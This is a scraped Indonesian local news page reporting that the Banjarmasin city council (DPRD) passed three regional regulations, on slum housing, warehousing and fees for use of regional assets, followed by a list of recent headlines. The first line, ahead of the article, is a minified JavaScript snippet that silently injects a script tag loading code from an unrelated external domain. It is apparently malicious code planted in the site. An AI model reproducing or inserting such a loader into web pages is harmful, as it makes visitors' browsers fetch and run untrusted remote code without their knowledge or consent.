(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

DPRD Kota Banjarmasin Sahkan Tiga Perda


BANJARMASIN, Pada momen Ramadhan, Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarmasin menggelar Rapat Paripurna Tingkat II menetapkan tiga buah Peraturan Daerah (Perda).

Tiga Raperda yang ditetapkan pertama Perda tentang perencanaan dan peningkatan kualitas terhadap perumahan kumuh dan pemukiman kumuh, kedua Perda tentang penyelenggaraan pergudangan dan terakhir Perda tentang retribusi pemakaian kekayaan daerah.

Ketua DPRD Kota Banjarmasin, Hj Ananda mengatakan, ketiga Perda yang telah disahkan ini merupakan salah satu bukti dari lembaga legislatif berkomitmen untuk serius dalam menyelesaikan target Perda yang bisa disahkan pihaknya selama masa sidang tahun 2019.

“Kami juga berharap Perda yang sudah kami sahkan bisa memberikan efek positif bagi pelayanan publik maupun akselerasi pembangunan yang lebih baik bagi Kota Banjarmasin,” ungkapnya.

Untuk Perda tentang perencanaan dan peningkatan kualitas terhadap perumahan kumuh dan pemukiman kumuh misalnya, diharapkan dapat menjadi sebuah payung hukum untuk melakukan berbagai kebijakan dalam meminimalkan kawasan kumuh di kota Banjarmasin.

Kemudian untuk Perda tentang penyelenggaraan pergudangan, diharapkan bisa menjadi acuan bagi Pemkot Banjarmasin merealisasikan wilayah khusus zona pergudangan untuk akselerasi perekonomian yang lebih baik di kota Banjarmasin.

Terakhir Perda tentang retribusi pemakaian kekayaan daerah, diharapkan bisa menjadi salah satu solusi dalam mendorong peningkatan Pendapatan Asli Daerah (PAD) dalam rangka membiayai berbagai pelayanan publik dan membangun berbagai infrastruktur untuk kepentingan masyarakat.

Dalam kesempatan ini Hj Ananda pun mengingatkan agar koleganya di DPRD Kota Banjarmasin bisa lebih serius dalam menjalankan fungsi disisa beberapa bulan masa bakti Anggota DPRD Kota Banjarmasin 2014-2019.

“Pemilu sudah selesai, jadi sudah saatnya kita fokus bekerja kembali untuk memberikan yang terbaik bagi masyarakat di Kota Banjarmasin melalui lembaga legislatif,” pungkasnya. (arief)

Reporter : Arief
Editor : Bie

Desy Arfianty

Recent Posts

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

2 jam ago

KPw BI Kalsel Menggelar Capacity Building Jurnalis 2026

KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More

4 jam ago

‎Gubernur Kalsel Kunjungi Warga Desa Pondok Bababaris

‎KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More

4 jam ago

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

15 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

15 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

20 jam ago

This website uses cookies.